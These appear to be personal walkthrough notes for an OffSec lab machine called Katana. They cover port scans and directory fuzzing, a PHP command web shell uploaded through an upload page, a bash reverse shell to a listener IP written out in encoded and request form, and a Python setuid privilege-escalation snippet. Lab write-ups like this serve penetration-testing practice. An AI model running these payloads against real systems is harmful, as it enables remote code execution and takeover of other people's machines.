OffSec · Lab
Katana
IP: 192.168.203.83
set ip 192.168.203.83
set url http://192.168.203.83
Nmap basic
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
7080/tcp open empowerid
8088/tcp open radan-http
8715/tcp open unknown
Nmap Services
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 89:4f:3a:54:01:f8:dc:b6:6e:e0:78:fc:60:a6:de:35 (RSA)
| 256 dd:ac:cc:4e:43:81:6b:e3:2d:f3:12:a1:3e:4b:a3:22 (ECDSA)
|_ 256 cc:e6:25:c0:c6:11:9f:88:f6:c4:26:1e:de:fa:e9:8b (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Katana X
7080/tcp open ssl/empowerid LiteSpeed
| tls-alpn:
| h2
| spdy/3
| spdy/2
|_ http/1.1
|_http-title: Did not follow redirect to https://192.168.203.83:7080/
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=katana/organizationName=webadmin/countryName=US
| Not valid before: 2020-05-11T13:57:36
|_Not valid after: 2022-05-11T13:57:36
|_http-server-header: LiteSpeed
8088/tcp open http LiteSpeed httpd
|_http-title: Katana X
|_http-server-header: LiteSpeed
8715/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Restricted Content
|_http-title: 401 Authorization Required
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
ftp/21
no anon login
http/80
Fuzzd dirs
Target: http://192.168.203.83:80/FUZZ/
Total requests: 62281
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001525: 200 95 L 272 W 3998 Ch "ebook"
/ebook
The admin login accepts random password for user admin
The Add new book function seems broken.
Possible SQLi
http://192.168.203.83/ebook/bookPerPub.php?pubid=1'
Can’t retrieve any columns tho.
https/7080
http/8088
Fuzzd dirs
Target: http://192.168.203.83:8088/FUZZ/
Total requests: 62281
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000077: 200 114 L 310 W 5472 Ch "docs"
Fuzzd files
Target: http://192.168.203.83:8088/FUZZ
Total requests: 37050
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000069: 200 23 L 73 W 655 Ch "index.html"
000000279: 200 494 L 2892 W 50828 Ch "phpinfo.php"
000000396: 200 35 L 202 W 1800 Ch "upload.php"
000000567: 200 11 L 25 W 195 Ch "error404.html"
000001712: 200 198 L 531 W 6480 Ch "upload.html"
/upload.html
uploaded cmd.php
<pre>
<?php
echo passthru($_GET['cmd']);
?>
</pre>
Important note
WIN. Vector moved to $URL:8715
http/8715
Vector from :8088
Vector
bash -c 'bash -i >& /dev/tcp/192.168.45.233/4444 0>&1'
bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.233%2F4444%200%3E%261'
http://192.168.203.83:8715/katana_cmd.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.233%2F4444%200%3E%261%27
Privesc python 2.7
run payload in python
import os
os.setuid(0)
os.system("/bin/bas/")
